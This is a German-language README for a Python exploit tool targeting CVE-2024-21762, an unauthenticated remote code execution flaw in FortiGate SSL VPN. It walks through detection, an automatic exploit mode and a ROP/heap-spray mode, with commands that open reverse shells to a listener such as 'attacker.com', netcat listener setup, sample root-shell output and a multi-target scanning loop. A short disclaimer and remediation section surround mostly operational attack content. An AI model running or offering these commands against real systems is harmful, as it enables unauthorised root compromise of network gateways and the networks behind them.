CVE-2024-21762 - FortiGate SSL VPN RCE Erkennungs- & Exploit-Tool

Erkennungs- und Exploit-Tool für CVE-2024-21762 – Kritische Schwachstelle in FortiGate SSL VPN

⚠️ RECHTLICHER HINWEIS: Dieses Tool ist ausschließlich für den Einsatz in autorisierten Testumgebungen bestimmt. Die unbefugte Nutzung auf Systemen ist RECHTSWIDRIG und kann schwerwiegende rechtliche Konsequenzen haben.

Überblick

CVE-2024-21762 ist eine kritische Schwachstelle in FortiGate SSL VPN-Komponenten, die Remote Code Execution (RCE) ohne Authentifizierung ermöglicht. Der Fehler liegt in einer unsicheren Verarbeitung von HTTP-Anfragen mit Chunked Transfer-Encoding, was zu einem Out-of-Bounds Write in der Komponente sslvpnd führt.

Technische Details

Attribut	Information
CVE ID	CVE-2024-21762
Schwachstelle	Out-of-Bounds Write in sslvpnd
Typ	Remote Code Execution (RCE) ohne Authentifizierung
CVSS Score	9.8 (Kritisch)
Betroffene Komponente	FortiOS SSL VPN
Betroffene Versionen	7.0.0–7.0.13, 7.2.0–7.2.6, 7.4.0–7.4.2

Funktionen

✅ Schwachstellenerkennung – Identifiziert anfällige FortiGate-Geräte mittels manipulierter Anfragen
✅ Baseline-Test – Überprüft das normale Serververhalten vor den Tests
✅ Automatischer Modus – Erkennt Schwachstellen und führt automatisch einen Exploit durch
✅ Reverse Shell – Unterstützt Bash-Reverse-Shell mit IP/Port-Konfiguration
✅ Eingabevalidierung – Validiert IPs und Ports vor dem Exploit
✅ Detaillierte Berichte – Erstellt Berichte mit Empfehlungen zur Behebung
✅ Robuste Fehlerbehandlung – Sicheres Verbindungs- und Ausnahmemanagement

Voraussetzungen

• Python 3.7 oder höher
• Standardmodule der Python-Bibliothek (socket, ssl, argparse, datetime, time, re)
• Netzwerkzugriff auf das Ziel (Port 443 oder benutzerdefiniert)

Installation

# Repository klonen
git clone https://github.com/ihr-benutzername/CVE-2024-21762.git
cd CVE-2024-21762

# Syntax überprüfen
python -m py_compile EXPLOIT.py

# Skript ausführen
python EXPLOIT.py -h

Verwendung

Einfache Nutzung

# Einfacher Erkennungstest
python EXPLOIT.py 192.168.1.100

# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443

# Mit erhöhtem Timeout
python EXPLOIT.py 192.168.1.100 --timeout 20

Automatischer Modus (Erkennung + Exploit)

# Automatischer Modus mit vorkonfigurierter Reverse Shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Automatischer Modus ohne Angabe von Credentials (interaktive Abfrage)
python EXPLOIT.py 192.168.1.100 --auto

ROP-Modus – Erweiterter Exploit mit Heap Spray

Der ROP-Modus implementiert einen zweistufigen Exploit mit Heap Spray für bestimmte Ziele (FortiOS 7.4.2):

# ROP-Exploit mit Node.js-Reverse-Shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# Mit erhöhtem Timeout für langsame Ziele
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

ROP-Exploit-Ablauf:

1. Stufe 1: Senden eines 1,8 MB Heap Sprays mit ROP-Gadgets
2. 2 Sekunden warten, damit die CPU die Daten verarbeiten kann
3. Stufe 2: Auslösen des OOB-Write mit einem 4137 Byte großen Chunk
4. 3 Sekunden warten, bis das Payload ausgeführt wird
5. Node.js-Reverse-Verbindung wird hergestellt

Auf Ihrem Lausch-Server:

# Linux/Mac/Windows mit netcat
nc -lnvp 4242

# Erwartete Ausgabe:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Wichtiger Hinweis: Der ROP-Modus ist für FortiOS 7.4.2.F-build2571 optimiert. Andere Versionen funktionieren möglicherweise nicht wegen der fest codierten Offsets in der ROP-Kette.

Manueller Test mit Reverse Shell

# Reverse-Shell-Payload senden
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Kombination mehrerer Optionen
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Verfügbare Optionen

positional arguments:
  target                    Ziel-Hostname oder IP, das/die getestet werden soll

optional arguments:
  -h, --help               Zeigt diese Hilfemeldung an
  -t, --target HOSTNAME    Ziel-Hostname oder IP (alternativ)
  -p, --port PORT          SSL-VPN-Port (Standard: 443)
  --timeout SECONDS        Timeout in Sekunden (Standard: 10)
  -li, --lhost IP          Lokale IP zum Empfangen der Reverse Shell
  -lp, --lport PORT        Lokaler Port zum Empfangen der Reverse Shell
  --no-baseline            Überspringt den Baseline-Test
  --auto                   Automatischer Modus: Erkennung und Exploit
  --rop                    ROP-Modus: Erweiterter Exploit mit Heap Spray (FortiOS 7.4.2)
  -v, --version            Zeigt die Skriptversion an

Vollständige Anwendungsbeispiele

1. Einfache Erkennung

python EXPLOIT.py 192.168.1.100

Erwartetes Ergebnis bei vorhandener Schwachstelle:

[+] Starte Schwachstellentest...
[!] VERWUNDBAR ERKANNT!
[!] Server hat Verbindung abrupt abgebrochen
[!] STATUS: VERWUNDBAR

2. Automatischer Exploit mit Reverse Shell

python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

Auf Ihrem Server:

# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Test mehrerer Ziele

for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

Funktionsweise

Erkennungsablauf

1. Baseline-Test – Sendet eine normale HTTP-Anfrage, um das Standardverhalten zu prüfen
2. Manipulierte Anfrage – Sendet eine fehlerhafte HTTP-Anfrage mit anfälligem Chunked-Encoding
3. Analyse – Analysiert die Antwort auf Anzeichen einer Schwachstelle:
   • Abrupter Verbindungsabbruch
   • Timeout/Absturz des Servers
   • Ungewöhnliche TLS-Alarme
4. Bericht – Erstellt einen Bericht mit Status und Empfehlungen

Exploit-Ablauf (Automatischer Modus)

1. Führt den Erkennungstest durch
2. Wenn anfällig, wird ein Reverse-Shell-Payload injiziert
3. Wartet auf die eingehende Reverse-Verbindung
4. Erstellt den endgültigen Bericht

Anzeichen für eine Schwachstelle

Das Tool betrachtet ein Ziel als anfällig, wenn eines der folgenden Verhaltensweisen erkannt wird:

• ✓ Verbindung wird abrupt beendet (Leere Antwort)
• ✓ Timeout nach dem Senden des Payloads (Serverabsturz)
• ✓ TLS-Alarm empfangen (sslvpnd abgestürzt)
• ✓ Verbindungsrücksetzung durch den Peer

Betroffene Versionen

Version	Erkennung	ROP-Modus	Status
FortiOS 7.0.0 – 7.0.13	✅ Ja	❌ Nein	⚠️ VERWUNDBAR
FortiOS 7.2.0 – 7.2.6	✅ Ja	❌ Nein	⚠️ VERWUNDBAR
FortiOS 7.4.0 – 7.4.1	✅ Ja	❌ Nein	⚠️ VERWUNDBAR
FortiOS 7.4.2 (Build ≤ 2571)	✅ Ja	✅ Ja	⚠️ VERWUNDBAR
FortiOS 7.4.3+	❌ Nein	❌ Nein	✅ BEHOBEN

Abhilfe

Sofortmaßnahmen

1. FortiOS aktualisieren auf eine behobene Version:

   • FortiOS 7.0.14+
   • FortiOS 7.2.7+
   • FortiOS 7.4.3+

2. Vorübergehende Isolation

   • Externen Zugriff auf das SSL VPN deaktivieren
   • Administrativen Zugriff einschränken

3. Überwachung

   • Logs auf Anzeichen eines Exploits prüfen
   • Auf ungewöhnliche Anmeldedaten und Zugriffe achten

Nachkontrolle

# FortiOS-Version überprüfen
python EXPLOIT.py ihr-fortinet.com

Wenn das Ergebnis „NICHT VERWUNDBAR“ anzeigt, wurde der Patch erfolgreich angewendet.

Projektstruktur